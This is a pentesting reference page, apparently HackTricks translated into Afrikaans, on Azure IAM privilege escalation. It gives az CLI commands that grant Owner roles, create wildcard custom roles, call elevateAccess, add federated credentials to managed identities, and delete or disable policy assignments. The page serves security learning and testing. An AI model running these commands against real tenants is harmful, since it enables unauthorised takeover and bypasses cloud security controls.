# Az - Azure IAM Privesc (Authorization)

{{#include ../../../banners/hacktricks-training.md}}

## Azure IAM

Vir meer inligting, sien:

{{#ref}}
../az-services/az-azuread.md
{{#endref}}

### Microsoft.Authorization/roleAssignments/write

Hierdie toestemming maak dit moontlik om roles aan principals oor 'n spesifieke scope toe te ken, wat 'n attacker in staat stel om privileges te escalate deur homself 'n meer privileged role toe te ken:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write

Hierdie toestemming maak dit moontlik om die permissions wat aan 'n role toegeken is te wysig; dit kan 'n attacker in staat stel om privileges te eskaleer deur meer permissions aan 'n role waaraan hy toegeken is, toe te ken.

Skep die lêer `role.json` met die volgende **inhoud**:
```json
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Werk dan die rolpermissies by met die vorige definisie deur aan te roep:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action

Hierdie toestemming laat toe om bevoegdhede te verhoog en om permissies aan enige principal vir Azure resources toe te ken. Dit is bedoel om aan Entra ID Global Administrators gegee te word sodat hulle ook permissies oor Azure resources kan bestuur.

> [!TIP]
> Ek dink die gebruiker moet Global Administrator in Entrad ID wees sodat die elevate call kan werk.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Hierdie toestemming stel in staat om Federated credentials by managed identities te voeg. Byvoorbeeld, toegang tot Github Actions in 'n repo aan 'n managed identity te gee. Dit maak dan moontlik om **toegang te kry tot enige deur gebruiker gedefinieerde managed identity**.

Voorbeeldopdrag om 'n repo in Github toegang te gee aan 'n managed identity:
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

'n attacker met die permission `Microsoft.Authorization/policyAssignments/write` of `Microsoft.Authorization/policyAssignments/delete` oor 'n management group, subscription, of resource group kan **wysig of verwyder Azure policy assignments**, moontlik **sekuriteitsbeperkings deaktiveer** wat spesifieke operasies blokkeer.

Dit maak toegang tot resources of funksionaliteite moontlik wat voorheen deur die policy beskerm is.

**Verwyder 'n policy assignment:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Skakel 'n beleidstoekenning uit:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Verifieer die veranderinge:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write

'n Aanvaller met die toestemming `Microsoft.Authorization/policyDefinitions/write` kan **wysig Azure beleidsdefinisies**, en daarmee die reëls verander wat sekuriteitsbeperkings oor die omgewing beheer.

Byvoorbeeld, 'n beleid wat die toegelate streke vir die skep van hulpbronne beperk, kan gewysig word om enige streek toe te laat, of die beleid se effek kan verander word sodat dit nie meer doeltreffend is nie.

**Wysig 'n beleidsdefinisie:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Verifieer die veranderinge:**
```bash
az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write

'n aanvaller met die toestemming `Microsoft.Management/managementGroups/write` kan **die hiërargiese struktuur van management groups wysig** of **nuwe management groups skep**, en sodoende moontlik beperkende beleide wat op hoër vlakke toegepas word omseil.

Byvoorbeeld kan 'n aanvaller 'n nuwe management group skep sonder beperkende beleide en dan subscriptions daarnaar skuif.

**Skep 'n nuwe management group:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Wysig 'n hiërargie van bestuursgroepe:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Kontroleer die veranderinge:**
```bash
az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write

'n Aanvaller met die toestemming `Microsoft.Management/managementGroups/subscriptions/write` kan **subskripsies tussen management groups verplaas**, wat moontlik **beperkende beleide omseil** deur 'n subskripsie na 'n groep met minder beperkende of geen beleide te skuif.

**Verplaas 'n subskripsie na 'n ander management group:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Verifieer die veranderinge:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}
